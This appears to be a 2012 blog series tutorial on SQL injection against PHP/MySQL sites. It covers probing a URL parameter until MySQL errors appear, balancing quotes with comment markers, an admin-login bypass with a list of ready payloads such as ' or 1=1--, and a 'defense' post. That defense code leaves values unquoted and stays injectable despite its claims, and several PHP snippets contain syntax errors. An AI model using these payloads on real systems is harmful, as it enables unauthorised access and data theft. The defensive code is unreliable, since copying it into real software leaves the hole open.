http://www.example.com/index.php?category=watch&id=foo >> Unknown column 'foo' in 'where clause'

[+] Okay, it means when we insert some string, It tries to match the String with the columns. Thus giving me an Idea, that once again no proper filtration is done.

http://www.example.com/index.php?category=watch&id=999999999 >> Blank Page

http://www.example.com/index.php?category=watch&id=CK123 >> Unknown column 'CK123' in 'where clause'

http://www.example.com/index.php?category=watch&id=123CK >> Unknown column '123CK' in 'where clause'

[+] It means when we insert some alpha-Numeric, It tries to match the String with the columns. No proper filtration is done.

http://www.example.com/index.php?category=watch&id=1' >> MySQL Error(JackPot)

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1"

[+] Insertion of a special character, breaks the Developers Code

Lets Focus on the Error we got:

#> Error 1: '' LIMIT 0,1'

Ok, seems little confusing the error, lets try with another special character:

http://www.example.com/index.php?category=watch&id=1\

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\ LIMIT 0,1' at line 1"

#> Error 2: '\ LIMIT 0,1'

Now what we see here, the developer has already assigned the outermost quotes, and those are single quotes. lets get rid of those.

The hacker, opens up the Notepad:

'' LIMIT 0,1'
' LIMIT 0,1

http://www.example.com/index.php?category=watch&id='  User Input here   '
http://www.example.com/index.php?category=watch&id='        1           '
http://www.example.com/index.php?category=watch&id='        1'          '

lets try to balance it, so that we get out injection field.

Notice here something, when we insert the single quote, since the quotes got unbalanced, it gave the error, but the id number is missing.

Now To balance it we need the comment symbols.

What If we do something like this:

http://www.example.com/index.php?category=watch&id='        1 --+'          '

#> Our Injection is: --+'

Voila, it got balanced, and we got the injection Field.

Now any valid SQL Query between 1 (Injection Here) --+' will be executed.

Now to check If its correct,

http://www.example.com/index.php?category=watch&id=1 AND 1=2 --+' >> Blank, as the logic is False
http://www.example.com/index.php?category=watch&id=1 AND 1=1 --+' >> Valid Display, as the logic is True

Again In this post I am not showing the next steps. because, identifying the injection is the crucial part of SQL Injection.

Hope You are Enjoying It.

Thank You!

Sunday, June 3, 2012

Finding Injection Parameter


Now that we saw some Basic SQL Injection to Fuzz the Admin Login Panel, We will now head towards understanding Parameters in an URL.

What is a Parameter?
It is a place where user inputs somethings, and the input is then used to build a Query and execute the Query.

Ex: A form in a webpage, will have parameters, because it allows the user to input some data, and according to the data entered, some Query will be build and executed.

Dynamic Links on a webpage, you might have seen Tabs on a webpage like GALLERY, NEWS, etc. when you click on it, it connects to a Table, like Table: 'category' etc.

Lets take an example here:

http://www.example.com/index.php?id=

Ok so when I have such kind of URL, the first thing comes to my mind is, based on the 'id' value, so sort of page shall be my expectation as output.

Now I start playing with it, keeping my eyes open

http://www.example.com/index.php?id=1

http://www.example.com/index.php?id=2

http://www.example.com/index.php?id=3

Okay, what am I noticing here, the 'id' numbers are Integers, based on which I get different webpages.

I continue...

http://www.example.com/index.php?id=CK

And i get a blank page with No MySQL errors, so I conclude, the id parameter accepts only 'integers'.

I continue...

http://www.example.com/index.php?id=CK1

http://www.example.com/index.php?id=1CK

And I still get Blank Page with no MySQL errors, I conclude, it cannot take AlphaNumeric Values.

I continue more...

http://www.example.com/index.php?id=9999999999999999999

And I still get Blank Page with no MySQL errors, I conclude, it cannot take Long Integers.

So what is it that I am trying to do? Nothing, Its known as Analyzing the work flow, or understanding the 2nd Layer Engine, that connects to Database.

Typically I am trying to break the normal functionality or Fuzzing it.

I continue...

http://www.example.com/index.php?id=1'

And Viola I broke It, I got an Error Of MySQL

(You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1)

So Here Is what I understand now,
parameter is 'id'
If Datatype int, No SQL Error
If Datatype string, No SQL Error
If Datatype long, No SQL Error
If Datatype aplhanumeric, No SQL Error
If Datatype Special Characters, SQL Error

Now Lets try to understand the Error we got,

We are not learning grammer or sentence structure here, so I dont care what it says, I am more concerned about the Error I got, ie: ''1'' LIMIT 0,1'

Analysing...

''1'' LIMIT 0,1' >> Every Parameter Is surrounded by quotes so lets eliminate the outermost quotes
'1'' LIMIT 0,1
'  1'  ' LIMIT 0,1
'  (User_input_values_here)  ' LIMIT 0,1
With a single quote, I unbalanced the Quotes, which gave out the error, so my Injection is a single Quote, Now Lets try to Balance it out. How? By commenting out, which tells the database that anything after the comment symbols are comments, so Database Ignores it.

Comments symbols are:
1. /*(comments)*/
2. --+(comments)
3. # (comments)

As The Prime Objective of This post is to Find Out Injecting Parameter and Fields, I will Stick To It, On Next Post I will Explain, How To Exploit it.

Again, I try:

http://www.example.com/index.php?id=1' # >> MySQL Error
http://www.example.com/index.php?id=1' /* >> MySQL Error
http://www.example.com/index.php?id=1' --+ >> No Error

So Now I Found out Where In I can inject SQL Queries. Any Valid SQL Query Between (1'  [here]  --+) will be executed as a valid SQL Query.

Just As an Example:

http://www.example.com/index.php?id=1' --+ >> No Error, With Valid Output
http://www.example.com/index.php?id=1' AND 1=2 --+ No Error, But No Output, Because Our Logic Given here is 1=2, which is always False
http://www.example.com/index.php?id=1' AND 1=1 --+ >> No Error, With Valid Output
http://www.example.com/index.php?id=1' OR 1=1 --+ >> No Error, With Valid Output
http://www.example.com/index.php?id=1' OR 1=2 --+ >> No Error, With Valid Output (We Get the Output Here, because our Query has an OR Operator, 1 OR 0 = 1, 1 OR 1 = 1, 0 OR 1 = 1, 0 OR 0 = 0)

This is a Simple Digital Computing Of 'OR' Operator.

So, we see that, we found out the Place where we can Inject our SQL Queries.

Hope This was Informative. and Helpful.

Thank You!

Saturday, June 2, 2012

SQL Injection Defense

Now that I spoke about the basic of how to break an Admin Panel, now lets see basic ways to save an Admin Panel.

So the trend in the Last post was, Users enters value, the values are directly passed to the Database, and Database being a novice spits out according the query given.

User >>> PHP Script >>> Database

Now, If we do some kind of filtering of values before the PHP script builds the Query, chances gets reduced for an attack, and thus saving it from very basic SQL Injection attack.

User >>> Filter >>> PHP Script >>> Database

The Login Form Code:

<form method = "GET" action = "filter.php" >
Name: <input type = "text" name = "uname" />
Password: <input type = "password" name= "pwd" />
<br />
<input type = "submit" value = "Login" name= "login" />
</form>

Which would gives us the below section:


ADMIN LOGIN PANEL

Name:    
Password:

filter.php

<?php

//One Of the Way used to Prevent SQL Injection

if ( isset ( $_GET [ 'login' ] ))
{   
    //Connect To Database
    $conn = mysql_connect ( "localhost" , "username" , "password" ) or die ( " Could Not Connect To Database" );

    //Get the Username
    $name = $_GET [ 'uname' ];

    //Get the password
    $passwd = $_GET [ 'pwd' ];

    //Filtering Process
    $filname = mysql_real_escape_string ( $name );
    $filpass = mysql_real_escape_string ( $passwd );

    //Build the Query
    $query = " SELECT * FROM Users WHERE user = " .$filname. " AND password = " .$filpass ";

    //Make the Query
    $result = mysql_query ( $query );

    //Count the Rows Returned
    $rows = mysql_num_rows ( $result );

    if ( $rows != 0)
    {
        header ( "Location: admin.php" );
    }
    else
    {
        die ( "Invalid Username or Password" );
    }
}
?>

So, here before we make the query we are filtering the User Input Values

"mysql_real_escape_string" this is a function, that escapes quotes if found any

Now, if the users enters:

Username = Computer
Password = Korner

Nothing to Filter here, but as there is Null records found with the Values Entered, We would get:

"Invalid Username or Password"

Now lets try to change the Logic

Username = Computer
Password = Korner OR '1' = '1'

With this script the The values will not change neither the logic

SELECT id FROM Users
WHERE user = 'Computer'
AND password = 'Korner OR \'1\' = \'1\'';

Now due to "mysql_real_escape_string", the password enter with SQL Injection will become "Korner OR \'1\' = \'1\'"

Since the Single Quotes are escaped, this query will have No effect. and will return

"Invalid Username or Password"

Thus making the Basic SQL Injection Unsuccessful.

Still This can be bypassed But The K-Scripters will move on to some another website or Admin Panel.

To bypass this, we can append Queries Like:

/*OR*/ 1--
/*OR*/ True--
/*OR*/ 1=1

/* --> This Means a Comment in PHP
-- --> This forces to execute an SQL Statement

There are other ways too, If you are interested, you should be in search.

I will discuss other ways too, But If you know other ways to prevent SQL Injection feel free to comment it.

The purpose is make awareness, and To Protect From Being Hacked By K-Scripters

Thank You

Admin Login Access

Welcome To this post, where I will discuss, how an SQL Query, gives access to the Admin Panel, in other words, the first basic SQL Injection.

By now you should be knowing how the connection works from the user-end to the Back-end Database.

   WARNING        WARNING        WARNING        WARNING        WARNING        WARNING
===================================================================================== DO NOT TRY ON WEBSITES OR ON APPLICATIONS, WHERE YOU DO NOT HAVE PERMISSION, FOR ANY ILLEGAL ISSUES NEITHER ME NOR THE CONTENTS OF THE BLOG WILL BE HELD RESPONSIBLE.

THIS IS ONLY FOR EDUCATIONAL PURPOSE.

=====================================================================================

So we have a Login page in front of us, wishing if we could get access to the Admin Panel.

We apply a simple SQL Logic and check if we get access.

Lets understand the HTML code in the users-end

<form method = "GET" action = "login.php" >
Name: <input type = "text" name = "uname" />
Password: <input type = "password" name= "pwd" />
<br />
<input type = "submit" value = "Login" name= "login" />
</form>

Which would gives us the below section:


ADMIN LOGIN PANEL

Name:    
Password:


Now Lets check a Basic PHP Script that would connect to the Back-end Database, when some value is Entered in the Name and the Password Field, and clicked on Submit.


<?php

if isset ( $_GET [ 'login' ] ) //When user clicks the submit button
{

//Connects To the Database
$con  =  mysql_connect ( "localhost", "username", "password" ) or die ( "Could Not Connect To Database" ) ;

//Building the SQL Query
$qry = " SELECT id FROM Users WHERE user = '$_GET[ "uname" ]' " . "AND password = '$_GET[ "pwd" ]' ";

//Make the Query
$getresult = mysql_query ( $qry ) ;

//Check the number of Rows returned from the Query
$rows  mysql_num_rows ( $getresult ) ;

//Validates and Returns the User
if ( $rows != 0 )
{
    header ( "Location: admin.php" ); //Redirects to admin.php
}
else
{
    die ( "Invalid Username Or Password" ); //No display if Rows returned is Null
}

}

?>

If we look at the SQL Query, its

SELECT id FROM Users
WHERE user =
AND password =

If the Username and Password returns a Row, means a Valid ID, and thus logins in, and if not, it will say, "Invalid Username Or Password"

SELECT id FROM Users
WHERE user = 'Computer'
AND password = 'Korner'

The Output will be:

"Invalid Username Or Password"

Its Obvious, because there would not be such record in the Database.

Now what If we change the Logic, with a simple SQL Query

SELECT id FROM Users
WHERE user = 'Computer'
AND password = 'Korner' OR '1' = '1'

Notice here, the logic gets changed:

SELECT id FROM Users
WHERE ( user = 'Computer' AND password = 'Korner' ) OR ( '1' = '1' )

Means Either one, if the first Query Fails, second will be executed, and the second Query is a simple Logic, 1 is always equal to 1 returning it to be a True, and thus extracting out all the rows from the records.

The $rows count will not be Zero in this case, and hence the page is redirected to the admin panel. This giving access to all the Admin Privileges.

Few More SQL Queries when appended Gives access are:

' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
1'or'1'='1

NOTE:
=======================================================================
THIS IS FOR YOUR KNOWLEDGE, DON'T BREAK ADMIN PANELS AND TRY TO PROVE YOURSELF A L33T OR ELITE HACKER, BECAUSE THIS IS THE MOST LAMEST THING ONE CAN DO. MANY K-SCRIPTERS DOES IT WITHOUT UNDERSTANDING THE LOGIC AND FEELS HAPPY. PLEASE AVOID THIS, OR AT-LEAST DON'T SPEAK SHIT ABOUT POOR SECURITY BECAUSE IF YOU ARE GIVEN A SCRIPT TO WRITE TO FILTER THIS, YOU WILL HAVE NO PLACE TO HIDE YOURSELF.
=======================================================================

"LEARN TO PROTECT!"        "LEARN TO PROTECT!"        "LEARN TO PROTECT!"

Friday, June 1, 2012

SQL Injecting Parameters

So from last two post we saw how that the users Input Parameters are processed by scripting Language Like PHP, ASP, etc and Then the Query is passed to Database.

Everything Works on the basis of INPUT and OUTPUT, Database gets an Input, and based on the Input it gives the Output. A Database will not logically verify that the Query is from a Genuine User or Someone trying to get Information.

We are more interested in the second Phase, where scripts filters the request. If somehow we can change the order or Queries that are being passed from the PHP script, Back-end Database will throw out the information.

Ex: lets check this

http://www.example.com/products.php?id=10

Here id=10, this is known as a Parameter, based on the 'id' value, we will get some result from the back-end Database.

A normal PHP script would do the following:

<?php

//connect to database
$con = $mysql_connect("localhost", "username", "password");

//Build the SQL Query
$qry = "SELECT Products.Name, Products.Price FROM Products WHERE Products.id = '$_GET['id_val']";

//Query to the Database
$result = mysql_query($qry);

//output to the User
while ($row = mysql_fetch_array($result))
{
echo "NAME: ".$row{'Products.Name'}." PRICE: ".$row{'Products.Price'}."<br />";
}

//close the Database Connection
mysql_close($con);

?>

If you look at this carefully, the SQL query that the script would execute is:

SELECT Products.Name, Products.Price
FROM Products
WHERE Products.id = 10


Now, what if we modify the URL

http://www.example.com/products.php?id=10
to
http://www.example.com/products.php?id=10' OR '1'='1'

The SQL Query would now be:

SELECT Products.Name, Products.Price
FROM Products
WHERE Products.id = 10' OR '1'='1'


Here the simple Logic is 1 is always equal to 1, we have changed the Logic of the PHP Script.

In Laymans Terms, We are asking to show the Name and Price of id which is '10' or 'True'(All Values)

Hence This Query will result in Displaying all the Names and Price of all the Products.id from the Products Table.

Hope this was informative, and makes sense to who dint knew the purpose of appending 'or '1'='1'

Thats all for this post.

Thank You!